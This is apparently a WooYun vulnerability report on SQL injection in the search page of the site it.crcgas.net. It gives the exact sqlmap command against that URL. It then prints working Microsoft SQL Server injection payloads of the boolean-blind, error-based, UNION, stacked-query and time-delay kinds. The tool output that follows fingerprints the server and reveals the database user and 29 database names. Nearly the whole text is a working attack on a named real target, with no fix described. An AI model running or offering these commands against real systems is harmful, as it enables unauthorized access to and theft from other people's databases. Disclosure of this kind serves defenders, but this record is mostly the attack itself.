WooYun.org

http://it.crcgas.net/search.aspx?id=a注入点id
用sqlmap跑下
sqlmap.py -u "http://it.crcgas.net/search.aspx?id=a" -p "id" --dbs --current-user --current-db
sqlmap identified the following injection points with a total of 78 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=a%' AND 5668=5668 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=a%' AND 2386=CONVERT(INT,(CHAR(58)+CHAR(101)+CHAR(102)+CHAR(117)
+CHAR(58)+(SELECT (CASE WHEN (2386=2386) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(
58)+CHAR(102)+CHAR(106)+CHAR(106)+CHAR(58))) AND '%'='
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=a%' UNION ALL SELECT NULL, CHAR(58)+CHAR(101)+CHAR(102)+CHAR(117
)+CHAR(58)+CHAR(117)+CHAR(107)+CHAR(79)+CHAR(76)+CHAR(100)+CHAR(84)+CHAR(87)+CHA
R(99)+CHAR(100)+CHAR(119)+CHAR(58)+CHAR(102)+CHAR(106)+CHAR(106)+CHAR(58), NULL,
NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=a%'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=a%' WAITFOR DELAY '0:0:5'--
---
[15:01:28] [INFO] testing MySQL
[15:01:28] [WARNING] the back-end DBMS is not MySQL
[15:01:28] [INFO] testing Oracle
[15:01:28] [WARNING] the back-end DBMS is not Oracle
[15:01:28] [INFO] testing PostgreSQL
[15:01:28] [WARNING] the back-end DBMS is not PostgreSQL
[15:01:28] [INFO] testing Microsoft SQL Server
[15:01:29] [INFO] confirming Microsoft SQL Server
[15:01:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[15:01:29] [INFO] fetching current user
current user: 'sq_rmis'
[15:01:30] [INFO] fetching current database
current database: 'sq_rmis'
[15:01:30] [INFO] fetching database names
available databases [29]:
[*] a0103123601
[*] a0107163637
[*] a0227155438
[*] a05211243092
[*] a0526174232
[*] a0604103832
[*] a0615115402
[*] a0617184309
[*] a0627170803
[*] a07081000429
[*] a1204143833
[*] a1205155319
[*] master
[*] model
[*] msdb
[*] sq_13537897696
[*] sq_crcgas
[*] sq_crcgashr
[*] sq_daerp
[*] sq_dreamson
[*] sq_haian99
[*] sq_huafei
[*] sq_Manager
[*] sq_orderSystem
[*] sq_qmmanager
[*] sq_rmis
[*] sq_yangsizhuan1
[*] sq_yongjidb
[*] tempdb